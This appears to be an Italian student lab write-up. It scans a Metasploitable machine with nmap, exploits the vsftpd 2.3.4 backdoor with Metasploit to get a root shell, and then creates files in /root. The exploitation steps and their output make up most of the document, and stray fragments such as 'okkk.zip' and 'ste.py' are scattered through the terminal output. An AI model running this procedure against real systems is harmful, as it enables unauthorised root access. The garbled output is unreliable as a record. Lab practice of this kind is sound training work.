

Esercitazione W7

L1

Sfruttamento exploit

**Quello che faremo oggi
sarà sfruttare un exploit
grazie ad un tool molto
potente chiamato
Metasploit.**

**L'obiettivo sarà accedere alla
nostra macchina target
attraverso un servizio
vulnerabile e andare a creare
una nuova cartella da remoto**

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-06 09:54 EST
Nmap scan report for LAPTOP-31I72G60.homenet.telecomitalia.it (192.168.1.149)
Host is up (0.0037s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE    SERVICE      VERSION
21/tcp    open     ftp          vsftpd 2.3.4
22/tcp    open     ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open     telnet       Linux telnetd
25/tcp    open     smtp         Postfix smtpd
53/tcp    open     domain       ISC BIND 9.4.2
80/tcp    open     http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open     rpcbind     2 (RPC #100000)
139/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open     exec?
513/tcp   open     login        pass.txt
514/tcp   open     tcpwrapped
1099/tcp  open     java-rmi    GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open     nfs          2-4 (RPC #100003)
2121/tcp  open     ftp          ProFTPD 1.3.1
3306/tcp  open     mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open     postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open     vnc          VNC (protocol 3.3)
6000/tcp  open     X11          (access denied)
6667/tcp  open     irc          UnrealIRCd
8009/tcp  open     ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open     http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linu
Enumeration... okkk.zip
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.34 seconds
```

Procediamo con l'effettuare una scansione sul nostro target per identificare le porte aperte e i vari servizi attivi con le rispettive funzioni

**Avviamo il nostro
tool che ci
permette di
selezionare tra
diversi exploit,
interrogandolo e
permettendoci di
scegliere tra
diverse opzioni**

```
msf6 > search vsftpd
Matching Modules
=====
File System      usernames...      u.txt
#  Name
-  --
0  auxiliary/dos/ftp/vsftpd_232      Disclosure Date 2011-02-03      Rank normal      Check Yes      Description VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03      excellent      No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

    Name: VSFTPD v2.3.4 Backdoor Command Execution
    Module: exploit/unix/ftp/vsftpd_234_backdoor
    Platform: Unix
        Arch: cmd
    Privileged: Yes
    License: Metasploit Framework License (BSD)
        Rank: Excellent
    Disclosed: 2011-07-03
    ste.py      okkk      kkkkk.php

Provided by:
    hdm <x@hdm.io>
    MC <mc@metasploit.com>

Available targets:
    Id  Name
    Enumerazi...      okkk.zip
    ⇒  0  Automatic

Check supported:
    No

Basic options:
    Name  Current Setting  Required  Description
    RHOSTS      yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us...
    RPORT      21      yes      The target port (TCP)

Payload information:
    Space: 2000
    Avoid: 0 characters
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

| Name | Current Setting | Required | Description |
|--------|-----------------|----------|---|
| RHOSTS | | yes | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT | 21 | yes | The target port (TCP) |

```
Payload options (cmd/unix/interact):
```

```
ste.py okkk kkkk.php
```

| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
| | | | |

```
Exploit target:
```

| Enumarazi... | okkk.zip |
|--------------|-----------|
| -- | |
| 0 | Automatic |

```
View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts
```

```
rhosts =>
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
```

```
rhosts => 192.168.1.149
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Il nostro tool ci permette di avere maggiori informazioni riguardo l'exploit scelto e ci segnala quali campi sono obbligatori, andiamo quindi a inserire l'indirizzo ip del nostro target con il comando set rhosts ip_target

Il passo
successivo è la
scelta del
payload, il
quale una volta
selezionato
siamo pronti a
far partire
l'accatto e se
tutto va bene,
come in questo
caso saremo
nel computer
target

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
=====
# Name                               Disclosure Date   Rank   Check   Description
- payload/cmd/unix/interact          2023-11-06      normal  No     Unix Command, Interact with Established Conn

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set 0
[-] Unknown datastore option: 0.
Usage: set [options] [name] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads`.

OPTIONS:
  -c, --clear    Clear the values, explicitly setting to nil (default)
  -g, --global   Operate on global datastore variables
  -h, --help     Help banner.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:35245 → 192.168.1.149:6200) at 2023-11-06 10:04:44 -0500
```

Una volta
dentro
potremo
muoverci
liberamente
tra i file e le
directory
con i
comandi
linux

```
ls  
bin  
boot  
cdrom Home 192.168.1.9  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
m  
media  
mnt  
nohup.out  
opt  
proc  
root ste.py  
sbin  
srv  
sys  
tmp  
usr  
var vmlinuz...  
vmlinuz  
cd root  
ls  
Desktop  
reset_logs.sh  
vnc.log
```



Nello screen sottostante possiamo notare che il nostro obiettivo è stato centrato, ovvero il creare una cartella nella directory root. Questo nostro attacco è stato del tutto innocuo ma viene da se che avremmo potuto fare qualsiasi tipo di operazione e caricare in questa o altre directory file malevoli

```
[-] root@Kali:~# mkdir test_metasploit
[-] root@Kali:~# ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
[-] root@Kali:~# touch accesso.txt
[-] root@Kali:~#
```

Quando si parla di **exploit** si fa riferimento a del codice malevole che tende a sfruttare delle vulnerabilità già presenti sul nostro target, senza l'interazione del utente, che in questo caso non farà nulla.

File Transfer Protocol (FTP) è un protocollo usato per trasferire file tra computer su Internet. Si tratta di un protocollo basato sull'architettura client/server. È possibile infatti accedere ai file archiviati su un server FTP utilizzando un client FTP.